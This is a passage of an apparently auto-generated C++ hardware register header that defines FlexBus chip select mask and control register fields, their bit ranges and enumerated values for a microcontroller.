constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v0> v0{};
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v1> v1{};
}
///Base address mask
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> bam{};
}
namespace FbCsmr3{ ///<Chip select mask register
using Addr = Register::Address<0x4000c028,0x0000fefe,0x00000000,unsigned>;
///Valid
enum class VVal {
v0=0x00000000, ///<Chip select invalid
v1=0x00000001, ///<Chip select valid
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,VVal> v{};
namespace VValC{
constexpr Register::FieldValue<decltype(v)::Type,VVal::v0> v0{};
constexpr Register::FieldValue<decltype(v)::Type,VVal::v1> v1{};
}
///Write protect
enum class WpVal {
v0=0x00000000, ///<Read and write accesses are allowed
v1=0x00000001, ///<Only read accesses are allowed
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,WpVal> wp{};
namespace WpValC{
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v0> v0{};
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v1> v1{};
}
///Base address mask
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> bam{};
}
namespace FbCsmr4{ ///<Chip select mask register
using Addr = Register::Address<0x4000c034,0x0000fefe,0x00000000,unsigned>;
///Valid
enum class VVal {
v0=0x00000000, ///<Chip select invalid
v1=0x00000001, ///<Chip select valid
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,VVal> v{};
namespace VValC{
constexpr Register::FieldValue<decltype(v)::Type,VVal::v0> v0{};
constexpr Register::FieldValue<decltype(v)::Type,VVal::v1> v1{};
}
///Write protect
enum class WpVal {
v0=0x00000000, ///<Read and write accesses are allowed
v1=0x00000001, ///<Only read accesses are allowed
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,WpVal> wp{};
namespace WpValC{
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v0> v0{};
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v1> v1{};
}
///Base address mask
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> bam{};
}
namespace FbCsmr5{ ///<Chip select mask register
using Addr = Register::Address<0x4000c040,0x0000fefe,0x00000000,unsigned>;
///Valid
enum class VVal {
v0=0x00000000, ///<Chip select invalid
v1=0x00000001, ///<Chip select valid
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,VVal> v{};
namespace VValC{
constexpr Register::FieldValue<decltype(v)::Type,VVal::v0> v0{};
constexpr Register::FieldValue<decltype(v)::Type,VVal::v1> v1{};
}
///Write protect
enum class WpVal {
v0=0x00000000, ///<Read and write accesses are allowed
v1=0x00000001, ///<Only read accesses are allowed
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,WpVal> wp{};
namespace WpValC{
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v0> v0{};
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v1> v1{};
}
///Base address mask
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> bam{};
}
namespace FbCscr0{ ///<Chip select control register
using Addr = Register::Address<0x4000c008,0x03000007,0x00000000,unsigned>;
///Burst-write enable
enum class BstwVal {
v0=0x00000000, ///<Break data larger than the specified port size into individual, port-sized, non-burst writes. For example, a longword write to an 8-bit port takes four byte writes.
v1=0x00000001, ///<Enables burst write of data larger than the specified port size, including longword writes to 8 and 16-bit ports, word writes to 8-bit ports, and line writes to 8-, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,BstwVal> bstw{};
namespace BstwValC{
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v1> v1{};
}
///Burst-read enable
enum class BstrVal {
v0=0x00000000, ///<Data exceeding the specified port size is broken into individual, port-sized, non-burst reads. For example, a longword read from an 8-bit port is broken into four 8-bit reads.
v1=0x00000001, ///<Enables data burst reads larger than the specified port size, including longword reads from 8- and 16-bit ports, word reads from 8-bit ports, and line reads from 8, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,BstrVal> bstr{};
namespace BstrValC{
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v1> v1{};
}
///Byte-enable mode
enum class BemVal {
v0=0x00000000, ///<The FB_BE n signals are not asserted for reads. The FB_BE n signals are asserted for data write only.
v1=0x00000001, ///<The FB_BE n signals are asserted for read and write accesses
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,BemVal> bem{};
namespace BemValC{
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v0> v0{};
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v1> v1{};
}
///Port size
enum class PsVal {
v00=0x00000000, ///<32-bit port size. Valid data sampled and driven on FB_D[31:0]
v01=0x00000001, ///<8-bit port size. Valid data sampled and driven on FB_D[31:24] if BLS = 0 or FB_D[7:0] if BLS = 1
v10=0x00000002, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
v11=0x00000003, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,PsVal> ps{};
namespace PsValC{
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v00> v00{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v01> v01{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v10> v10{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v11> v11{};
}
///Auto-acknowledge enable
enum class AaVal {
v0=0x00000000, ///<No internal FB_TA is asserted. Cycle is terminated externally
v1=0x00000001, ///<Internal transfer acknowledge is asserted as specified by WS
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,AaVal> aa{};
namespace AaValC{
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v0> v0{};
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v1> v1{};
}
///Byte-lane shift
enum class BlsVal {
v0=0x00000000, ///<Not shifted. Data is left-justfied on FB_AD.
v1=0x00000001, ///<Shifted. Data is right justified on FB_AD.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,BlsVal> bls{};
namespace BlsValC{
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v0> v0{};
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v1> v1{};
}
///Wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,10),Register::ReadWriteAccess,unsigned> ws{};
///Write address hold or deselect
enum class WrahVal {
v00=0x00000000, ///<Hold address and attributes one cycle after FB_CSn negates on writes. (Default FB_CSn)
v01=0x00000001, ///<Hold address and attributes two cycles after FB_CSn negates on writes.
v10=0x00000002, ///<Hold address and attributes three cycles after FB_CSn negates on writes.
v11=0x00000003, ///<Hold address and attributes four cycles after FB_CSn negates on writes. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(17,16),Register::ReadWriteAccess,WrahVal> wrah{};
namespace WrahValC{
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v00> v00{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v01> v01{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v10> v10{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v11> v11{};
}
///Read address hold or deselect
enum class RdahVal {
v00=0x00000000, ///<If AA is cleared, 1 cycle. If AA is set, 0 cycles.
v01=0x00000001, ///<If AA is cleared, 2 cycles. If AA is set, 1 cycle.
v10=0x00000002, ///<If AA is cleared, 3 cycles. If AA is set, 2 cycles.
v11=0x00000003, ///<If AA is cleared, 4 cycles. If AA is set, 3 cycles.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,RdahVal> rdah{};
namespace RdahValC{
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v00> v00{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v01> v01{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v10> v10{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v11> v11{};
}
///Address setup
enum class AsetVal {
v00=0x00000000, ///<Assert FB_CSn on first rising clock edge after address is asserted. (Default FB_CSn)
v01=0x00000001, ///<Assert FB_CSn on second rising clock edge after address is asserted.
v10=0x00000002, ///<Assert FB_CSn on third rising clock edge after address is asserted.
v11=0x00000003, ///<Assert FB_CSn on fourth rising clock edge after address is asserted. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,AsetVal> aset{};
namespace AsetValC{
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v00> v00{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v01> v01{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v10> v10{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v11> v11{};
}
///no description available
enum class ExtsVal {
v0=0x00000000, ///<FB_TS /FB_ALE asserts for one bus clock cycle
v1=0x00000001, ///<FB_TS /FB_ALE remains asserted until the first positive clock edge after FB_CSn asserts
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(22,22),Register::ReadWriteAccess,ExtsVal> exts{};
namespace ExtsValC{
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v0> v0{};
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v1> v1{};
}
///Secondary wait state enable
enum class SwsenVal {
v0=0x00000000, ///<The WS value inserts wait states before an internal transfer acknowledge is generated for all transfers
v1=0x00000001, ///<The SWS value inserts wait states before an internal transfer acknowledge is generated for burst transfer secondary terminations
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(23,23),Register::ReadWriteAccess,SwsenVal> swsen{};
namespace SwsenValC{
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v0> v0{};
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v1> v1{};
}
///Secondary wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,26),Register::ReadWriteAccess,unsigned> sws{};
}
namespace FbCscr1{ ///<Chip select control register
using Addr = Register::Address<0x4000c014,0x03000007,0x00000000,unsigned>;
///Burst-write enable
enum class BstwVal {
v0=0x00000000, ///<Break data larger than the specified port size into individual, port-sized, non-burst writes. For example, a longword write to an 8-bit port takes four byte writes.
v1=0x00000001, ///<Enables burst write of data larger than the specified port size, including longword writes to 8 and 16-bit ports, word writes to 8-bit ports, and line writes to 8-, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,BstwVal> bstw{};
namespace BstwValC{
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v1> v1{};
}
///Burst-read enable
enum class BstrVal {
v0=0x00000000, ///<Data exceeding the specified port size is broken into individual, port-sized, non-burst reads. For example, a longword read from an 8-bit port is broken into four 8-bit reads.
v1=0x00000001, ///<Enables data burst reads larger than the specified port size, including longword reads from 8- and 16-bit ports, word reads from 8-bit ports, and line reads from 8, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,BstrVal> bstr{};
namespace BstrValC{
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v1> v1{};
}
///Byte-enable mode
enum class BemVal {
v0=0x00000000, ///<The FB_BE n signals are not asserted for reads. The FB_BE n signals are asserted for data write only.
v1=0x00000001, ///<The FB_BE n signals are asserted for read and write accesses
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,BemVal> bem{};
namespace BemValC{
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v0> v0{};
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v1> v1{};
}
///Port size
enum class PsVal {
v00=0x00000000, ///<32-bit port size. Valid data sampled and driven on FB_D[31:0]
v01=0x00000001, ///<8-bit port size. Valid data sampled and driven on FB_D[31:24] if BLS = 0 or FB_D[7:0] if BLS = 1
v10=0x00000002, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
v11=0x00000003, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,PsVal> ps{};
namespace PsValC{
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v00> v00{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v01> v01{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v10> v10{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v11> v11{};
}
///Auto-acknowledge enable
enum class AaVal {
v0=0x00000000, ///<No internal FB_TA is asserted. Cycle is terminated externally
v1=0x00000001, ///<Internal transfer acknowledge is asserted as specified by WS
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,AaVal> aa{};
namespace AaValC{
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v0> v0{};
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v1> v1{};
}
///Byte-lane shift
enum class BlsVal {
v0=0x00000000, ///<Not shifted. Data is left-justfied on FB_AD.
v1=0x00000001, ///<Shifted. Data is right justified on FB_AD.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,BlsVal> bls{};
namespace BlsValC{
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v0> v0{};
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v1> v1{};
}
///Wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,10),Register::ReadWriteAccess,unsigned> ws{};
///Write address hold or deselect
enum class WrahVal {
v00=0x00000000, ///<Hold address and attributes one cycle after FB_CSn negates on writes. (Default FB_CSn)
v01=0x00000001, ///<Hold address and attributes two cycles after FB_CSn negates on writes.
v10=0x00000002, ///<Hold address and attributes three cycles after FB_CSn negates on writes.
v11=0x00000003, ///<Hold address and attributes four cycles after FB_CSn negates on writes. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(17,16),Register::ReadWriteAccess,WrahVal> wrah{};
namespace WrahValC{
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v00> v00{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v01> v01{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v10> v10{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v11> v11{};
}
///Read address hold or deselect
enum class RdahVal {
v00=0x00000000, ///<If AA is cleared, 1 cycle. If AA is set, 0 cycles.
v01=0x00000001, ///<If AA is cleared, 2 cycles. If AA is set, 1 cycle.
v10=0x00000002, ///<If AA is cleared, 3 cycles. If AA is set, 2 cycles.
v11=0x00000003, ///<If AA is cleared, 4 cycles. If AA is set, 3 cycles.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,RdahVal> rdah{};
namespace RdahValC{
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v00> v00{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v01> v01{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v10> v10{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v11> v11{};
}
///Address setup
enum class AsetVal {
v00=0x00000000, ///<Assert FB_CSn on first rising clock edge after address is asserted. (Default FB_CSn)
v01=0x00000001, ///<Assert FB_CSn on second rising clock edge after address is asserted.
v10=0x00000002, ///<Assert FB_CSn on third rising clock edge after address is asserted.
v11=0x00000003, ///<Assert FB_CSn on fourth rising clock edge after address is asserted. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,AsetVal> aset{};
namespace AsetValC{
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v00> v00{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v01> v01{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v10> v10{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v11> v11{};
}
///no description available
enum class ExtsVal {
v0=0x00000000, ///<FB_TS /FB_ALE asserts for one bus clock cycle
v1=0x00000001, ///<FB_TS /FB_ALE remains asserted until the first positive clock edge after FB_CSn asserts
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(22,22),Register::ReadWriteAccess,ExtsVal> exts{};
namespace ExtsValC{
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v0> v0{};
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v1> v1{};
}
///Secondary wait state enable
enum class SwsenVal {
v0=0x00000000, ///<The WS value inserts wait states before an internal transfer acknowledge is generated for all transfers
v1=0x00000001, ///<The SWS value inserts wait states before an internal transfer acknowledge is generated for burst transfer secondary terminations
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(23,23),Register::ReadWriteAccess,SwsenVal> swsen{};
namespace SwsenValC{
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v0> v0{};
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v1> v1{};
}
///Secondary wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,26),Register::ReadWriteAccess,unsigned> sws{};
}
namespace FbCscr2{ ///<Chip select control register
using Addr = Register::Address<0x4000c020,0x03000007,0x00000000,unsigned>;
///Burst-write enable
enum class BstwVal {
v0=0x00000000, ///<Break data larger than the specified port size into individual, port-sized, non-burst writes. For example, a longword write to an 8-bit port takes four byte writes.
v1=0x00000001, ///<Enables burst write of data larger than the specified port size, including longword writes to 8 and 16-bit ports, word writes to 8-bit ports, and line writes to 8-, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,BstwVal> bstw{};
namespace BstwValC{
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v1> v1{};
}
///Burst-read enable
enum class BstrVal {
v0=0x00000000, ///<Data exceeding the specified port size is broken into individual, port-sized, non-burst reads. For example, a longword read from an 8-bit port is broken into four 8-bit reads.
v1=0x00000001, ///<Enables data burst reads larger than the specified port size, including longword reads from 8- and 16-bit ports, word reads from 8-bit ports, and line reads from 8, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,BstrVal> bstr{};
namespace BstrValC{
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v1> v1{};
}
///Byte-enable mode
enum class BemVal {
v0=0x00000000, ///<The FB_BE n signals are not asserted for reads. The FB_BE n signals are asserted for data write only.
v1=0x00000001, ///<The FB_BE n signals are asserted for read and write accesses
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,BemVal> bem{};
namespace BemValC{
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v0> v0{};
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v1> v1{};
}
///Port size
enum class PsVal {
v00=0x00000000, ///<32-bit port size. Valid data sampled and driven on FB_D[31:0]
v01=0x00000001, ///<8-bit port size. Valid data sampled and driven on FB_D[31:24] if BLS = 0 or FB_D[7:0] if BLS = 1
v10=0x00000002, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
v11=0x00000003, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,PsVal> ps{};
namespace PsValC{
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v00> v00{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v01> v01{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v10> v10{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v11> v11{};
}
///Auto-acknowledge enable
enum class AaVal {
v0=0x00000000, ///<No internal FB_TA is asserted. Cycle is terminated externally
v1=0x00000001, ///<Internal transfer acknowledge is asserted as specified by WS
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,AaVal> aa{};
namespace AaValC{
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v0> v0{};
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v1> v1{};
}
///Byte-lane shift
enum class BlsVal {
v0=0x00000000, ///<Not shifted. Data is left-justfied on FB_AD.
v1=0x00000001, ///<Shifted. Data is right justified on FB_AD.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,BlsVal> bls{};
namespace BlsValC{
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v0> v0{};
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v1> v1{};
}
///Wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,10),Register::ReadWriteAccess,unsigned> ws{};
///Write address hold or deselect
enum class WrahVal {
v00=0x00000000, ///<Hold address and attributes one cycle after FB_CSn negates on writes. (Default FB_CSn)
v01=0x00000001, ///<Hold address and attributes two cycles after FB_CSn negates on writes.
v10=0x00000002, ///<Hold address and attributes three cycles after FB_CSn negates on writes.
v11=0x00000003, ///<Hold address and attributes four cycles after FB_CSn negates on writes. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(17,16),Register::ReadWriteAccess,WrahVal> wrah{};
namespace WrahValC{
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v00> v00{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v01> v01{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v10> v10{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v11> v11{};
}
///Read address hold or deselect
enum class RdahVal {
v00=0x00000000, ///<If AA is cleared, 1 cycle. If AA is set, 0 cycles.
v01=0x00000001, ///<If AA is cleared, 2 cycles. If AA is set, 1 cycle.
v10=0x00000002, ///<If AA is cleared, 3 cycles. If AA is set, 2 cycles.
v11=0x00000003, ///<If AA is cleared, 4 cycles. If AA is set, 3 cycles.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,RdahVal> rdah{};
namespace RdahValC{
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v00> v00{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v01> v01{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v10> v10{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v11> v11{};
}
///Address setup
enum class AsetVal {
v00=0x00000000, ///<Assert FB_CSn on first rising clock edge after address is asserted. (Default FB_CSn)
v01=0x00000001, ///<Assert FB_CSn on second rising clock edge after address is asserted.
v10=0x00000002, ///<Assert FB_CSn on third rising clock edge after address is asserted.
v11=0x00000003, ///<Assert FB_CSn on fourth rising clock edge after address is asserted. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,AsetVal> aset{};
namespace AsetValC{
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v00> v00{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v01> v01{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v10> v10{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v11> v11{};
}
///no description available
enum class ExtsVal {
v0=0x00000000, ///<FB_TS /FB_ALE asserts for one bus clock cycle
v1=0x00000001, ///<FB_TS /FB_ALE remains asserted until the first positive clock edge after FB_CSn asserts
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(22,22),Register::ReadWriteAccess,ExtsVal> exts{};
namespace ExtsValC{
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v0> v0{};
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v1> v1{};
}
///Secondary wait state enable
enum class SwsenVal {
v0=0x00000000, ///<The WS value inserts wait states before an internal transfer acknowledge is generated for all transfers
v1=0x00000001, ///<The SWS value inserts wait states before an internal transfer acknowledge is generated for burst transfer secondary terminations
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(23,23),Register::ReadWriteAccess,SwsenVal> swsen{};
namespace SwsenValC{
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v0> v0{};
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v1> v1{};
}
///Secondary wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,26),Register::ReadWriteAccess,unsigned> sws{};
}
namespace FbCscr3{ ///<Chip select control register
using Addr = Register::Address<0x4000c02c,0x03000007,0x00000000,unsigned>;
///Burst-write enable
enum class BstwVal {
v0=0x00000000, ///<Break data larger than the specified port size into individual, port-sized, non-burst writes. For example, a longword write to an 8-bit port takes four byte writes.
v1=0x00000001, ///<Enables burst write of data larger than the specified port size, including longword writes to 8 and 16-bit ports, word writes to 8-bit ports, and line writes to 8-, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,BstwVal> bstw{};
namespace BstwValC{
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v1> v1{};
}
///Burst-read enable
enum class BstrVal {
v0=0x00000000, ///<Data exceeding the specified port size is broken into individual, port-sized, non-burst reads. For example, a longword read from an 8-bit port is broken into four 8-bit reads.
v1=0x00000001, ///<Enables data burst reads larger than the specified port size, including longword reads from 8- and 16-bit ports, word reads from 8-bit ports, and line reads from 8, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,BstrVal> bstr{};
namespace BstrValC{
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v1> v1{};
}
///Byte-enable mode
enum class BemVal {
v0=0x00000000, ///<The FB_BE n signals are not asserted for reads. The FB_BE n signals are asserted for data write only.
v1=0x00000001, ///<The FB_BE n signals are asserted for read and write accesses
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,BemVal> bem{};
namespace BemValC{
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v0> v0{};
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v1> v1{};
}
///Port size
enum class PsVal {
v00=0x00000000, ///<32-bit port size. Valid data sampled and driven on FB_D[31:0]
v01=0x00000001, ///<8-bit port size. Valid data sampled and driven on FB_D[31:24] if BLS = 0 or FB_D[7:0] if BLS = 1
v10=0x00000002, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
v11=0x00000003, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,PsVal> ps{};
namespace PsValC{
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v00> v00{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v01> v01{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v10> v10{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v11> v11{};
}
///Auto-acknowledge enable
enum class AaVal {
v0=0x00000000, ///<No internal FB_TA is asserted. Cycle is terminated externally
v1=0x00000001, ///<Internal transfer acknowledge is asserted as specified by WS
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,AaVal> aa{};
namespace AaValC{
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v0> v0{};
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v1> v1{};
}
///Byte-lane shift
enum class BlsVal {
v0=0x00000000, ///<Not shifted. Data is left-justfied on FB_AD.
v1=0x00000001, ///<Shifted. Data is right justified on FB_AD.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,BlsVal> bls{};
namespace BlsValC{
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v0> v0{};
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v1> v1{};
}
///Wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,10),Register::ReadWriteAccess,unsigned> ws{};
///Write address hold or deselect
enum class WrahVal {
v00=0x00000000, ///<Hold address and attributes one cycle after FB_CSn negates on writes. (Default FB_CSn)
v01=0x00000001, ///<Hold address and attributes two cycles after FB_CSn negates on writes.
